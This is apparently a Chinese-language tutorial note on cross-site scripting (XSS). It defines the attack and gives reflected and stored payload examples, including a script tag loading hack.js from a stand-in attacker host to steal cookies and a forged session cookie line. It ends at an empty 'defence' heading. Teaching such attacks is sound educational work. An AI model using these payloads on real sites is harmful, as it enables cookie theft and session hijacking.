# XSS


定义

XSS (Cross Site Scripting),跨站脚本攻击,因为缩写和 CSS 重叠,所以只能叫 XSS。 跨站脚本攻击是指通过存在安全漏洞的 Web 网站注册用户的浏览器内运行非法的非本站点 HTML 标签或 JavaScript 进行的一种攻击。

跨站脚本攻击有可能造成以下影响:

  • 利用虚假输入表单骗取用户个人信息
  • 利用脚本窃取用户的 Cookie 值,被害者在不知情的情况下,帮助攻击者发送恶意请求
  • 显示伪造的文章或图片
  • 攻击类型

    • 反射型 - url 参数直接注入
    // 普通
    http://localhost:3000/?from=china
    
    // alert 尝试
    http://localhost:3000/?from=<script>alert(1)</script>
    
    // 获取 Cookie
    http://localhost:3000/?from=<script src="http://localhost:4000/hack.js"></script>
    
    // 短域名伪造
    https://dwz.cn/
    
    // 伪造cookie入侵 chrome
    document.cookie="session=eyJ1c2VybmFtZSI6Imxhb3dhbmciLCJfZXhwaXJlIjoxNTUzNTY1MDAxODYxLCJfbWF4QWdlIjo4NjQwMDAwMH0="
    
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    • 存储型 - 存储到 DB 后读取时注入
    // 评论
    <script>alert(1)</script>
    
    // 跨站脚本注入
    我来了<script src="http://localhost:4000/hack.js"></script>
    
    1
    2
    3
    4
    5
  • 危害(Scripting 能干啥 就能干啥)

    • 获取页面数据
    • 获取 Cookies
    • 劫持前端逻辑
    • 发送请求
    • 偷取网站的任意数据
    • 偷取用户的资料
    • 偷取用户的秘密和登录态
    • 欺骗用户
  • 防御